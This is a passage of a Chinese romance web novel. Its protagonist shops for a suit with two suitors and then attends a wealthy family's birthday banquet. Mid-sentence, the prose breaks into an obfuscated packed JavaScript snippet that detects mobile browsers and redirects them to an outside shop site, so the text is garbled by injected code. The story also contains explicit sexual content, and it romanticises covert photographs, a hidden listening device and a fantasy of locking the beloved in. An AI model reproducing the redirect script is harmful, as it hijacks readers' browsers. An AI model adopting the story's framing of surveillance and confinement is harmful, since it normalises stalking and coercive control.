算了,想不明白就不想了,反正他本来就不擅长想这些。 手机又震了一下。 【W】汪 沈恪愣了一下,然后笑得肩膀直抖。 温清然真的好奇怪一个人。 月光从窗帘的缝隙里漏进来,在地板上落了一道细细的白。 他想起这一个月。 图书馆,咖啡,祈愿的笔记,安阳的哀嚎,顾云岚安静的侧脸,温清然那些天马行空的消息。 还有白越。 每天傍晚出现,带着饭,坐在他旁边。有时候给他披外套,有时候帮他整理笔记,有时候只是安静地看书,陪着他,就好像真的是自己的男朋友。 沈恪翻了个身,把脸埋进枕头里,有些闷,有些烫。 枕头上还有白越身上的洗涤剂味道。 他忽然想—— 如果一直这样就好了。 如果不用去寿宴,不用演戏,不用面对那些可怕的人就好了。 如果自己真的只是一个普通的大学生,考完试,和朋友聚餐,被喜欢的人接回家就好了。 36. 暧昧至极 第二天下午,商场。 沈恪站在男装店里,看着面前一排排西装,头已经开始大了。 左边站着白越,右边站着祈愿。 两个人之间隔着至少两米的距离,中间仿佛有一道无形的墙。白越在看浅色系,祈愿在翻深色系,谁都没看谁。 “我看电视里,豪门宴会要穿的衣服都是定制的……”他小声嘟囔,“我要自己买吗?” 祈愿瞥了他一眼,语气凉凉的:“正常来说是这样。但你又不争气。” 沈恪:“……对不起了。” 白越在旁边轻轻笑了一声,捏了捏他的手心。 “宝宝想穿高定吗?”他的声音温温柔柔的,“我家有。晚上来我这里?量一下尺寸就好。” 祈愿眼皮跳了一下:“尺码都对不上。” 白越还是那副笑眯眯的样子:“对得上的。” 祈愿一愣。 白越重复了一遍,语气轻飘飘的,却笃定得近乎理所当然:“对得上的。” 他没有解释,也没有看祈愿。只是低头看着沈恪,拇指在手背上轻轻蹭了一下。 祈愿盯着他看了两秒,只感到一股恶寒顺着背网上爬,二话不说拉着沈恪就往下一家店走:“走了走了。” …… “这件。”祈愿拿起一件藏青色西装,“显气质。” 沈恪还没来得及说话,白越的声音就在耳边响起:“宝宝穿浅色好看。” 沈恪:“……” 他低头看了看手里的藏青色,又看了看白越手里的浅灰色,不知道该接哪件。 “要不……都试试?” “好。”白越笑着点头。 “随你。”祈愿耸了耸肩。 两个人同时开口,又同时闭嘴。 沈恪抱着两件衣服逃也似的钻进了试衣间。 …… 试衣间的门关上的那一刻,沈恪长长地吐出一口气。 太可怕了。 他对着镜子开始换衣服。刚脱下外套,门外的声音又响了起来。 “宝宝,需要帮忙吗?” 是白越。 沈恪手里的衣服差点掉地上。 “不、不用!”他连忙说,“我自己可以!” 门外安静了一秒,然后另一个声音响起来。 “温大少,你里面穿什么尺码?我去给你找条裤子。” 是祈愿。 沈恪松了口气,报了个尺码。 “好。”祈愿的声音远去。 然后,白越的声音又响起,很近,就在门边。 “宝宝,如果衣服不合适,叫我。” 沈恪嗯了一声,把那件藏蓝色的西装套上。 有点紧。肩膀那里绷着,不太舒服。 他犹豫了一下,还是打开门,探出半个脑袋:“那个……这件有点紧。” 白越立刻走了过来,站在门边,没有进去,伸手轻轻拉了拉沈恪的肩线。 “嗯,确实有点紧。”他点点头,“换一件吧。” 他把浅灰色的那件递过来。 沈恪接过,刚想缩回去,白越的手却挡在门框上。 “等一下。” 白越往前走了半步,微微低下头,伸出手,指尖抵住沈恪的锁骨,沿着衬衫领口慢慢往上推。 “领子这里,乱了。” 他的手指擦过喉结。凉的,带着一点若有若无的力道。 沈恪的喉结滚动了一下。 好像有什么东西从脖子那里炸开,酥酥麻麻地窜到脊背深处。他说不清那是什么,只知道整个人都僵住了,动不了。 白越抬起眼,看着他,表情无辜:“怎么了?” 沈恪张了张嘴,嗫嚅着说不出话。 白越弯了弯嘴角。收回手,指腹在收回的那一瞬间,无意间擦过沈恪的下巴。 “去吧。” 声音轻轻的,带着一点笑意。 沈恪砰的一声把门关上了。 他靠在门板上,捂着自己狂跳的心脏,脸烫得能煎蛋。 …… 等沈恪换好浅灰色出来的时候,祈愿已经拿着一堆裤子回来了。 他抬头看了一眼沈恪,愣了一下:“……这件还行。” 沈恪走到镜子前,转了个身。 浅灰色确实更适合。他说不清是适合温清然这具身体,还是适合他。镜子里的自己看起来不太一样。金色的额发软软地垂下来,露出下面那双格外清澈的眼睛。领口微敞,露出一截脖颈的线条,细而直,像刚抽条的青竹。 他微微侧过头,有点不确定地抿了抿唇,对着镜子笑了一下。 于是那双眼睛也跟着弯了弯,像是春天的第一汪水,清亮亮的,漾着一点光。 “好看。”白越的声音从身后传来,走过来在他身边站定。 沈恪转过头,对上他的视线。 “就是这里,”他伸出手,在沈恪腰间轻轻捏了一下,“稍微有点松,可以收一点。” 沈恪的腰登时像是被什么东西咬了一口,又痒又麻,整个人差点跳起来。 “我、我自己来!”他连忙说。 白越已经收回了手,笑眯眯的。 祈愿在旁边看着这一幕,眉头皱了一下。 “你量过尺寸了吗?”他问。 “还没有。”沈恪摇头。 “那量一下。”祈愿走过来,手里拿着软尺,“抬手。” 沈恪乖乖抬起手臂。 沈恪乖乖抬起手臂。 祈愿把软尺绕过他的腰:“72。”他记下。绕到背后量肩宽:“46。”再量胸围。 沈恪被他转来转去,有点懵。 白越安静地看着,直到祈愿量到腰围的时候,忽然开口:“等一下。” 他走过来,很自然地接过软尺:“我来吧。” 祈愿看着他,没说话。 白越已经转向沈恪,微微弯下腰:“宝宝,再抬一下手。” 沈恪下意识抬起手臂。 白越把软尺绕过他的腰,动作比祈愿更慢,更轻。手指隔着薄薄的衣料,轻轻压着软尺的两端。 “72。” 白越又绕到沈恪的身后量肩宽。 他往前站了一步,胸膛几乎贴上沈恪的后背。 沈恪僵在那里,感觉到那温度传过来,烫得他后背发麻。 白越的左手握着软尺的一端,从他左肩绕过去,右手从他右肩伸过来接。这个姿势让他整个人从后面环住了沈恪,下巴几乎擦着沈恪的耳廓。 呼吸落在耳后。一下,一下。 沈恪的脸以肉眼可见的速度涨红了起来。 “别……”他小声说,声音有点抖,“好痒……” 白越的动作停了一下。 他没有退开。反而微微低下头,嘴唇几乎贴着沈恪的耳廓,声音轻轻的,带着一点无辜:“怎么了宝宝?我在量尺寸呀。” 他继续量,手指隔着软尺在沈恪肩上轻轻按了一下:“放松。你这样绷着,量不准的。” 沈恪努力让自己放松。但白越的呼吸还落在耳后,温度还贴着后背,声音还在耳边响。 他怎么可能放松得下来啊?! “46。”白越报了个数字,然后收回手。 沈恪刚松了口气,就看见白越绕到了自己面前要量胸围。 白越站在他面前,把软尺绕过他的胸口。这一次更近。近到能感受到他呼吸落在自己脸上的温度。 “88。”白越说。 但他没有立刻松开手。他微微低着头,看着沈恪,目光从眼睛慢慢滑到沈恪微抿着的嘴唇。 “宝宝,”他轻声道,“你太紧张了。” 沈恪想躲,但白越就站在面前,无处可躲。 白越弯了弯嘴角,然后他收回软尺,直起身,像是什么都没发生过一样笑了笑。 “记下来了。” 沈恪站在原地,脸已经红透了。 …… 祈愿站在旁边,看着这一幕。他想说点什么,但喉咙像被什么堵住了。最后他什么都没说,手插在口袋里,攥成了拳。 好想抽烟。 白越量完了,抬起头,看了他一眼。 就一眼。 祈愿知道那是什么意思。 “他是我的。” 他没说话。 …… 之后的时间里,沈恪一个人要应付两个人,头都大了。 祈愿拿一件,白越说“这件不太适合”。白越拿一件,祈愿说“太老气”。两个人之间毫无交流,却总是要找沈恪搭话。 沈恪夹在中间,感觉自己快要被撕成两半了。 他受不了了。 趁两个人同时去拿衣服的时候,他飞快地钻到白越身边,一把拉住他的胳膊,把自己埋起来,小声说:“你、你们能不能……好好相处?” 白越低头看着他。 从他的角度看过去,正好能看见沈恪埋在自己胳膊上的脑袋,那因为害羞而红透的耳尖。 像一只被逼急了的小鹌鹑,拼命往主人怀里钻,以为这样就能躲过外面的两只大狗。 白越心情莫名愉悦:“好。” 他抬起头,看向祈愿。祈愿站在原地,整个人绷得紧紧的。 白越笑了笑,递过去一件西装:“祈愿,你觉得这件怎么样?” 祈愿看着那件衣服,又看了看白越,又看了看埋在白越胳膊上的沈恪。 沉默了两秒。 然后他接过衣服:“……还行。” 沈恪从白越胳膊上探出半个脑袋,看见祈愿终于接话了,松了口气。 …… 买完衣服出来,白越忽然拉着沈恪走进旁边的玩具店。 “怎么了?” 白越拿起一只玩偶,在他眼前晃了晃:“像你。” 沈恪看着那只又小又呆的鹌鹑,脸腾地红了:“哪、哪里像了!” 白越笑了笑,又拿起一只。 最后他买了五只,塞进沈恪怀里:“晚上抱着睡。” 沈恪抱着那五只鹌鹑,脸比夕阳还红。 祈愿站在店门口,啧了一声:“幼稚。” 但他没走,就站在门口等他们出来。 *** 车停在别墅门口的时候,沈恪已经靠在副驾驶上睡着了。 期末周连轴转的复习让他累坏了。最后一场考试刚结束就被拉去聚餐,第二天又被喊出来挑衣服。试了几十套,沈恪累得眼睛都快睁不开,还是强撑着让他们看。 白越说“这件好看”,他就换下一件。祈愿说“这件也好看”,他就又换一件。 最后白越选了一套墨蓝色的西装。沈恪坐进车里的时候还在嘟囔“太多了太多了”,然后话音未落就睡着了。 白越没有叫醒他。 他熄了火,侧过身,看着沈恪的睡颜。 车里的灯光很暗,只有远处路灯的光漏进来。睫毛安静地垂着,呼吸均匀绵长,嘴唇微微抿着。 白越看了一会儿,伸手用指背轻轻蹭了一下沈恪的脸颊。 温热的,软的。 沈恪没有醒,只是无意识地往他手的方向蹭了蹭。 一个无意识的依赖动作,却令白越忽地想起下午在商场里的场景。 沈恪从试衣间走出来,穿着那套深色西装,有点不好意思地低着头,问他“怎么样”。 白越站起来,走到他面前。 他伸手,轻轻搭在沈恪腰上。 那一瞬间,沈恪整个人僵住了,声音都在抖,不敢看他:“还、还行吗……” 白越没有说话。他只是垂着眼,看着自己的手搭在沈恪腰上的样子。 那只手很大,几乎能环住一半。就好像只要稍一用力,就能把人整个搂进怀里。 他没有用力,只是轻轻蹭了一下。 就那么一下。 “呜……” 沈恪像被电了一样,发出一声很轻很轻的、几乎听不见的嘤咛,整个人从头红到脖子根,连耳朵尖都红透了。 “我、我去换下一件!”他几乎是逃回试衣间的。 那个画面,那个声音,留在了他脑子里。 软。热。会抖。还会发出那种声音。 现在车里很安静。沈恪还在睡,什么都不知道。 白越看着他的睡颜,闭上眼,那声音又在耳边响起来。很轻,很软,带着一点慌,带着一点羞,像是被他欺负狠了又不知道怎么办的小动物发出的声音。 他发现自己有反应了。 他低头看了一眼,然后又抬起头继续看着沈恪。 手指轻轻蹭过他的脸颊,滑到下巴,停在唇边。那张嘴唇微微抿着,有点干,因为复习的时候总忘记喝水。 白越的拇指轻轻按了一下。软的。比想象中还软。 沈恪在睡梦中动了动,嘴唇微微张开,像是要说什么。 然后—— 他无意识地含住了白越的指尖。 就那么含住了。 温热的,湿润的,柔软的触感一瞬间包裹上来。 白越的呼吸停滞了。 他看着自己的手指被沈恪含在嘴里,看着那张安静的睡颜。他想抽出来。他应该抽出来。 但他没有。 他就那样看着,看着他的小鹌鹑在睡梦中含住他的手指。 白越的拇指轻轻动了一下,蹭过他的舌尖。沈恪在睡梦中皱了皱眉,发出一声很轻的呜咽。 他慢慢把手抽回来,看着自己的手指。 指尖还残留着那片温热和湿润。 白越忽然发现自己在抖。心跳太快了,快得有点疼。血液在耳膜里鼓噪,轰隆隆的,像是有人在里面放了一把火,一路烧到了某不可言说处。 闭上眼,想把那个画面从脑子里赶出去。但它不肯走。反而越来越清晰。 他深吸一口气,发动了车子。 他需要回家。在沈恪醒之前。 *** 将沈恪叫醒了送到门口,白越回到家砰地关上门,没有开灯。 他靠在门板上,闭上眼,深吸一口气。那些画面还在脑子里,沈恪含着他手指的触感,那声呜咽,那张安静的睡颜。 他告诉自己:冷静。 他走进书房,反手锁了门。 房间里的照片全是沈恪。 他走过去,拿起其中一张。是沈恪住院时别人拍的,又安静又乖。 他看着那张照片,想起刚才车里那一幕。温热的,湿润的,柔软的,他的手指被含在里面。 他想冷静,但根本做不到,那个画面一直在回放。 他低下头。 压不住,根本压不住。 这一次他没有克制,他不想克制了。 解开束缚,他闭上眼让那些画面浮上来,慢慢动作。 沈恪从试衣间走出来,问他“怎么样”。他走过去,手搭上他的腰。那一瞬间,沈恪僵住了,发出一声嘤咛。 然后是刚才,沈恪含着他的东西。 他想的是沈恪红透的耳朵尖,想的是他颤抖的腰,想的是他被碰到时发出的声音。 他想,如果有一天真的能…… 不是在试衣间,不是在任何有第三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265405|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人的地方,是在只有他们两个人的地方。沈恪会是什么反应?会红着脸看他吗?会咬着嘴唇不敢出声吗?会像下午那样,软软地说“别”吗? 他的小鹌鹑会喜欢哪里? 会喜欢落地窗吗?客厅那扇落地窗正对着花园,月光照进来的时候,他可以把沈恪按在那片光里,让他看着窗外,看着那些他亲手种下的花,然后从后面抱住他,含着他的耳垂问:好看吗,宝宝? 但落地窗太亮了。他的小鹌鹑那么害羞,肯定会躲。到时候只顾着躲,就不看自己了。 浴室也可以。那面镜子够大够清晰。他想让沈恪看着镜子里的自己,看着他红透的脸,看着他咬着嘴唇的样子,看着他被弄到站不稳还要被他扶着。他可以让他看着,看着他变成什么样。 但是不行。浴室太滑了,万一摔着。还是买张防滑垫吧。 想到自己居然在想这个,白越忍不住笑了一下。 但那个念头一旦冒出来,就收不回去。 或者书房?那间他待了太多晚上的书房,那些照片还挂在墙上。他想让沈恪亲眼看看那些照片,看看他是怎么看着他的。然后他可以锁上门,把钥匙丢到窗外,把沈恪按着,当着他的面,再做一次那些他对照片做过的事。 沈恪会无处可躲,会骂他,会红着眼眶说“你变态”。 会哭吗? 白越不知道,但他想看看。 但白越最想的是卧室,他的卧室。 那张他一个人睡了太久的床。 沈恪可以躺在上面,头发散在枕头上,睫毛安静地垂着,嘴唇无意识地张开,像那些照片里一样。但这一次,不是隔着镜头,是真实的,就在他身边。 自己可以在半夜醒来的时候,侧过身看着那张睡颜,看很久很久。 可是卧室会不会太闷?沈恪身体不好,万一感冒了怎么办?还是把暖气开足一点。 白越睁开眼,看着那些照片。 他在心里把每一个地方都否决了一遍。 太亮不行,太滑不行,太闷不行。 到最后,他发现自己在想:要不还是先问问沈恪喜欢哪里吧。 想到这个,他又笑了。 这些念头在他脑子里转了太久,久到他已经分不清是想要还是需要,久到光是想象那个画面,心跳就会快一拍。 久到他知道,如果真有那一天—— 他一定不会让他走的。 他想象过很多次。 如果真有那么一天,沈恪知道了自己正在肖想着他做着这样的事情,会是什么样子? 沈恪会站在门口,那双眼睛湿透了,里面有羞恼,有害怕,有气愤。他的手握着门把手,只要轻轻一拧,就能走出去。 走出去,就再也不回来了。 光是想到那个画面,白越就觉得心脏钝痛,疼得他呼吸都轻了。 不能让他走。 那时候他会做什么? 会开口求他吗?“宝宝别走,我错了”——这种话沈恪会信吗? 会解释吗?“我只是太喜欢你了”——听起来像借口。 会威胁吗?“你走不出去的”——太吓人了,会把他吓坏的。 白越看着照片里那张安静的睡颜,忽然弯了弯嘴角。 他知道自己会做什么了。 他不会开口,只要按下手机上的某个键,那扇门就会自动锁上。 沈恪会愣住,会回头看他。 然后他会走过去,握住他的手腕。 就那样握住。 温热的,细瘦的,在他掌心里微微发抖。 而就在握住手腕的那一瞬间。 白越浑身一颤。 他甚至还没来得及做别的,光是想到那个触感,光是想到他无路可退的样子,就已经…… 他睁开眼,低下头。 呼吸还没平复,胸膛剧烈起伏着。 有一滴溅到了照片上。 白色的,黏|稠的,刚好落在照片里沈恪的唇边。 就像是某种预演。 白越愣住了。 他看着那滴白色,看着照片里那张安静的纯洁的、什么都不知道的脸。 那一瞬间,心脏像被人狠狠攥了一下,又酸又涩,混着刚才那股滚烫的余韵,搅在一起,让他整个人都僵住了。 他做了什么? 对着沈恪的照片。 他张了张嘴,想说点什么,但喉咙发紧,一个字都说不出来。 最后他只是轻轻说了一句:“……抱歉。” 声音很轻,轻到连他自己都听不清。 但那两个字说出来之后,他心里并没有好受一点。 他看着那滴白色刚好落在的地方,忽然又忍不住开始想,如果有一天会是真的呢? 如果沈恪真的跪在他面前,嘴唇边沾着他的东西…… 他会是什么表情? 那股刚压下去的东西,又涌上来了。 说了对不起也压不住。 他很抱歉。真的。但他知道自己还会再犯。 他伸手,用拇指轻轻擦掉那滴白色。擦得很慢,很仔细,像是怕弄坏什么珍贵的东西。 擦完之后,他把照片放回原处,抽出纸巾细细擦拭过那双狼狈至极的双手。然后靠在椅背上,看着那些挂起来的照片,忽地笑出了声。 原来光是想象“不让他走”这个动作,就够了。 白越闭上眼。 那些画面太真实了,真实到他又想操作了。 但他没有继续。 不急。 他想。 会有那一天的。 在那之前,他会藏得很好。 藏到沈恪离不开他的那一天,藏到沈恪自己都不想走的那一天。 然后……然后再说。 他戴上监听耳机。 耳机里,沈恪的呼吸声还是那么轻,那么均匀。他睡着了。 白越听着那声音,慢慢平静下来。 明天就是寿宴,沈恪会带着他去见整个温家。他不知道自己能不能演好。但他知道,沈恪会在。 他弯了弯嘴角。 晚安,宝宝。明天见。 *** 祈愿回到家,把自己扔在床上。 他想起下午在商场里,白越那个眼神。 “他是我的。” 祈愿翻了个身,盯着天花板。他不知道自己为什么这么烦。也不知道自己为什么就是不走。换平常的他,遇见不爽的事情直接扭头就走了。 他拿起手机,置顶的是半小时前沈恪发来的消息: 【然】今天谢谢你呀祈愿!你也早点睡! 祈愿看着那行字,看了很久。 然后他回了一个:嗯。 他把手机扣在床上,闭上眼睛。 睡不着。 他想起沈恪站在镜子前的样子,想起沈恪被白越量尺寸时脸红成那个样子,想起沈恪抱着那五只鹌鹑笑成傻瓜的样子。 祈愿翻了个身。 他不知道自己是什么时候睡着的。 手机的消息提示音响起。 他眯着眼朦朦胧胧看了一眼。 是沈恪发来的消息?不是,刚那条已经回过了。 是广告。 他把手机扣回去。 操。 *** 同一片夜色下,沈恪睡得正香。 他什么都不知道。 他只是抱着白越买的那只小鹌鹑,睡得很香。 月光从窗帘的缝隙里漏进来,落在他的脸上。 很安静。 很乖。 37. 护着他呢 寿宴当天沈恪起得很早,早到他都还没来得及换好衣服,门铃就被按响了。 他穿着睡衣和拖鞋下楼,迷迷糊糊地打开门,然后愣住了。 白越站在门口,早已褪去了那一身苍白阴郁的模样。 他换上一身藏青色暗纹西装,系着红色提花领带,袖口露出一截冷光内敛的银色腕表。身姿挺拔如松,气质沉稳矜贵,往日里散落在额前的碎发被悉数梳起,露出光洁饱满的额头,整个人瞬间清朗利落。 没有了半遮眉眼的遮挡,没有了幽灵般的疏离,只余下一身逼人的俊朗。五官依旧精致,锋利又端正。那双曾深如古井的狐狸眼,此刻眼尾微扬,反倒添了几分动人心魄的锋芒。 很帅,俊朗得让人移不开眼。 更要命的是,这样的他,竟让人无端地心跳失控,怦然心动。 沈恪看呆了。 “宝宝?” 白越抵住门,弯起眼睛笑了笑,伸出手在他的鼻尖上刮了一下:“看呆了吗?” 沈恪这才如梦初醒,心脏扑通扑通狂跳,脸也红成了苹果。他捂着鼻子,慌忙让过身位让他进来。 白越进入房间,在沙发上坐下。沈恪去厨房倒了两杯水,递给他一杯,然后坐在距他一臂远的地方。 白越:“宝宝?” 沈恪低着头充耳不闻。 白越靠过来,手臂搭上沙发靠背,姿态自然地笼着他,低头看他。 “跑什么?” 声音轻轻的,却带着一点笑。 “我没、我没有!” 沈恪一张脸通红,逃也似的冲上楼,哐地一下关上门:“我上去换衣服!” 然后他听见楼下传来一声轻笑。 很轻,但很清楚。 沈恪把脸埋进手心里。 好烫。好丢人。 …… 沈恪刚换好衣服,楼下的门铃又响了,响个没完。 他穿着新换的西服往楼下跑,拖鞋在木地板上发出啪嗒啪嗒的声响。匆匆忙忙冲下来的时候,看见白越正靠在沙发上,闭着眼睛,呼吸均匀。 睡着了? 沈恪放轻了脚步。 他原本还想问白越怎么不去开门的。但看着那张安静的睡颜,话到嘴边又咽了回去。 算了,昨天折腾了一天,白越肯定也累坏了。 他小心翼翼地绕过茶几,从旁边取了条薄毯,轻轻盖在白越身上。 白越没动,呼吸还是那么均匀。 沈恪这才放心地去开门。 门外站着祈愿。 沈恪目光定在他身上,有些意外。 祈愿今天穿了一身深灰色大衣,头发染回了黑色,打了发胶梳上去。整个人看起来完全不一样了,没了那种杀马特少爷的感觉,而是真的、正经的、甚至有点好看的。 沈恪眨了眨眼。 “那个……不好意思啊,开门慢了。”他挠了挠头,“白越在沙发上睡着了,我怕吵醒他,走得很慢。” 祈愿挑了挑眉。 沈恪又小声补了一句:“你今天……还挺好看的。” 祈愿推门的动作顿了一下。他没接话,只是往客厅里扫了一眼。 沙发上白越还是那个姿势,闭着眼,身上盖着沈恪刚刚给他披的薄毯。 祈愿的目光在那条毯子上停了停,然后翻了个巨大的白眼。 这绿茶这会儿肯定又在悄摸暗爽。 “我就说怎么敲半天门没人应。”他的声音不高,但沙发那边的人应该能听到。 沈恪连忙嘘了一声,指了指沙发,示意他小声点。 祈愿没再说话,只是跟着沈恪往里走。 白越闭着眼,听着他们的脚步声越来越近,又停住。 沈恪小声说嘘,祈愿没说话。 白越的嘴角轻轻弯了一下。 真好。 沈恪给他盖了毯子,沈恪怕吵醒他,沈恪为了他不让祈愿大声说话。 他的小鹌鹑,在护着他呢。 …… 祈愿没再看白越,他大咧咧地靠在沙发扶手上,掏出手机随便划了两下。 然后他抬起头,语气和平时一样欠揍:“化妆品拿来,我帮你化。” “还要化妆吗?”沈恪的声音有点惊讶。 “不然呢。”祈愿耸耸肩,“你也可以素颜去的。” 沈恪犹豫了一下,还没来得及回答,沙发上传来一阵轻微的动静。 白越醒了。 他慢慢睁开眼,像是刚从沉睡中醒来。看见沈恪后露出习惯性的微笑,声音带着刚睡醒的沙哑:“宝宝……有客人?” 沈恪连忙跑过去:“吵醒你了?” 白越摇摇头,撑着沙发坐起来,薄毯从身上滑落。他看了一眼祈愿,温和地笑了笑:“祈愿来了啊?” 祈愿看着他。 那双眼睛里一点刚睡醒的迷糊都没有。 祈愿什么都明白了。 他嗤了一声,没说话。 白越已经转向沈恪,轻轻握住他的手。 “要去化妆吗?那我们去三楼吧。”他的声音温温柔柔的,“三楼光线好,还有个大镜子。” 沈恪点点头,白越便站起了身,牵着他往楼梯走。 路过祈愿的时候,他侧过头,笑了笑:“一起上来吧?” 语气很轻,很自然,像是真的在邀请。 …… 三楼主卧宽敞明亮,衣帽间一整面墙都是衣柜,中间立着带暖光灯的梳妆镜。 沈恪坐在梳妆椅上,人还懵着,困意没完全散掉。 白越站在他身后,指尖捏着化妆刷,动作轻得近乎小心翼翼,一点点给他上底妆、扫淡色腮红,连眉形都修得干净规整,过程温软又舒服。沈恪舒服得轻轻眯了眯眼,脑袋不自觉往刷子的方向蹭了蹭,像只被顺毛的小猫,困得差点发出呼噜声。 “别晃,很快好。”白越放轻声音。 白越垂着眼,手上的动作极轻。 沈恪的睫毛在他刷子下轻轻颤着,呼吸又浅又软,整个人乖乖地坐在那里,任他摆弄。 他弯了弯嘴角。 要是每天都能这样就好了。 把他养在家里,每天早上给他化妆,晚上给他卸妆,只给自己一个人看。 祈愿靠在门框上,手臂抱在胸前,只是瞟了一眼镜子前的二人便立马移开了视线看向窗外。 今天的天气不太好,云压得很低,一副马上要下雨的样子。 他以前挺喜欢下雨天的,这种天抽烟会很有氛围感。 现在不知道怎么了,看着烦。 他收回视线,又开始想别的事。温清然别墅里有没有抽烟室?好像没有,他倒是不怎么抽烟,只是喜欢酗酒,酒品还很差,就和沈恪一样差,每次喝完酒都要发疯。 他在这里发散着思维,别墅一层的实木落地钟忽然低低响了一声,沉稳的钟声漫过客厅。 沈恪被钟声轻轻惊醒,眨了眨眼,脸上还带着刚被化妆时的舒服倦意。 几乎是同时,门铃响了。 一辆低调的黑色宾利已经准时停在楼下。 车门被侍者恭敬拉开。白越先弯腰护着沈恪坐进后排,再自己侧身落座,祈愿则顺手坐进副驾。车厢里铺着软垫,空气清新,没有一丝异味,前排与后排之间隔着隔音挡板。 车行驶得平稳至极,几乎感觉不到颠簸。 沈恪本来就紧张,被这豪车接送的阵仗弄得连呼吸都不太会了。他感觉自己的手在抖,腿也在抖,好像全身上下只有眼珠子能动。他下意识攥住白越的衣袖。 白越顺势握住他,拇指在手背上轻轻蹭了蹭。 “就是一顿饭。”他的声音很轻,“有我呢。” “跟着我就好。” 他望着沈恪的眼睛里。 永远跟着他。 车子一路驶向半山云端会所。一到门口便立刻有门童上前开门,躬身行礼,直接引他们走专属通道进入内场休息室。 *** 休息室的门打开时,沈恪感觉自己的心跳漏了一拍。 宴会厅比他想象的更大更冷。水晶灯从穹顶垂落,冷白的光照得大理石地面像冰面,能看见自己模糊的倒影。圆桌一圈一圈排开,桌上是精致的冷碟和盛开的兰花。餐具轻碰的细响,香槟杯里的气泡,还有那种若有若无的、压着嗓子的交谈声,嗡嗡的,像一群蜜蜂在远处盘旋。 沈恪站在门口,忽然不知道自己该往哪走。 因为所有人都在看他。 那些目光从四面八方投过来,像无形的线,一根一根缠在他身上,落在他脸上,落在他被白越握着的手上。男女老少,各色各样的脸,但眼神都一样,都在打量这宴席主人公的嫡孙。 沈恪的喉咙发干,后背有点湿,衬衫黏在皮肤上,凉的,让他更不舒服。他想把领口松一松,又不敢动。 沈恪忽然很想跑,但忍住了。 今天他是“温清然”,他不能让任何人发现他是假的。 他试着翻了个白眼。 眼皮抖了一下,翻得不太像,但至少翻了。 然后他往前迈了一步。 有人看他,他就瞪回去。 “别低头。”祈愿目视着前方,声音压得很低,“越低头,他们越看你。抬头,看前面,当他们是萝卜白菜。” “还有,周家的人应该也在。她那边亲戚多,你小心点。” 沈恪点了点头。越靠近主桌心跳越快,他深吸一口气,看向前方。 主位沙发上坐着个老人,暗红唐装,精神看着很好。他旁边坐着周婉蓉和温止言,再旁边是几张陌生的脸。有人垂手站在他旁边,替他整理袖口。沈恪不知道那是谁,但他知道那一定是温老爷子——因为整个休息室里所有人说话的声音都压着,目光都时不时往那边飘。 老爷子的手指在扶手上轻轻叩着,一下,一下。 沈恪听着那声音,心跳也跟着跳,一下,一下。 有一个年轻人站在老爷子身侧,微微躬着身,正在给他倒茶。 沈恪多看了他一眼。 那个人倒完茶,直起身,目光正好和沈恪对上。 他笑了笑。 那种笑沈恪见过。刚才签到区那个中年人也是这么笑的。不冷不热的,像是客气,又像是在看什么有趣的动物。 沈恪后背有点发凉。 “那是老三。”祈愿的声音又响起,“温家老三,温序言。老爷子最喜欢的那个私生子。” 沈恪还没来得及说什么,就听见一个声音从旁边传来。 “阿然回来了?” 一个穿着墨绿色旗袍的女人站在两步之外,笑容满面地看着他。她看起来四十多岁,保养得很好,眉眼和周婉蓉有点像,但笑得更热络。 “这就是阿然吧?长这么大了?”她走过来,很自然地伸出手,想摸沈恪的脸。 沈恪下意识往后躲了一下。 那只手停在半空。 女人的笑容僵了一瞬,然后恢复如常。 “这孩子,还害羞呢。”她笑着说,收回手,“我是你二姨,不记得了?” 沈恪张了张嘴,不知道该说什么。 白越的声音在这时候响起来。 “二姨好。”他笑着打了个招呼,语气自然又熟稔, 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温清然对她来说从来不是儿子,是工具。以前是拴住温止言的铁链,是维持温太太身份的武器,是日后分家产时可以拿出来说话的筹码。现在这个能攀上白家的儿子,又成了一笔能榨出油水的投资。 她看出沈恪不对劲了。 但无所谓。 只要沈恪一直有用,自己对他一直上心,她就会一直帮他圆谎。 而让沈恪一直有用的方法…… 白越偏过头,看着沈恪的侧脸。 金发有点乱了,睫毛还在颤,努力装出温清然那副混不吝的样子。 像一只被扔进狼群里的小鸟。 ——就是让他一直待在自己身边。 白越握紧了他的手。 祈愿站在旁边,看着白越。 那些事,他这个发小都不知道,甚至温清然自己都不一定记得。 白越是怎么知道的? 他想起白越之前那句“对得上的”。 那种说不清的不舒服又涌了上来。 *** 来搭话的人就和田里的猹一样,一波接一波地窜出来。 沈恪记不住他们的脸,更记不住他们的名字。这个二叔那个三婶,这个表哥那个堂妹。每个人走过来都是同一套流程:先笑,再打量,再说几句“好久不见”“变样了”“听说你要结婚了”。 沈恪不知道为什么一群人都在说他要结婚了,也不好问,只能跟着笑,跟着点头,跟着应和。 他感觉自己像个复读机,已经彻底麻木了。 微笑,点头,嗯嗯,对对。 微笑,点头,嗯嗯,对对。 沈恪的脸要垮了。 白越看他那样,忍不住笑,伸手在他头上揉了揉。 沈恪被他揉得头发都乱了,也没躲。 旁边一个人经过,脚步顿住,目光在两个人之间转了一圈,然后露出一个意味深长的笑。 沈恪心头一跳,然后反应过来,脸瞬间红了。 “他、他在帮我整理头发!”他连忙解释。 那个人看着他的眼神更奇怪了。 沈恪:“…………” 白越笑得肩膀直抖。 沈恪瞪了他一眼,但瞪得一点气势都没有。 “对不起,宝宝。”凑到他耳边,用只有两个人能听到的音量说,“宝宝好聪明了。” 他声音轻轻的:“再坚持一下。” 沈恪的耳朵又红了,又急又恼还有些羞,只想钻进地里,实在不行他跳到吊灯上也可以,这样就没人找得到他,也没人会看到他脸红的囧样。 他不知道这些人里哪些是真的亲戚,哪些是来凑热闹的。也不知道那些笑里几分是真,几分是等着看他出丑。 他应付不过来,真的应付不过来。 下意识地就想回头找祈愿。 祈愿就站在他后面,手插在口袋里,脸上没什么表情。 但沈恪看过去的时候,发现祈愿也正在看他。 就一眼。 然后祈愿往前站了半步。 就那么半步。不是挡在他前面,只是离他更近了一点。 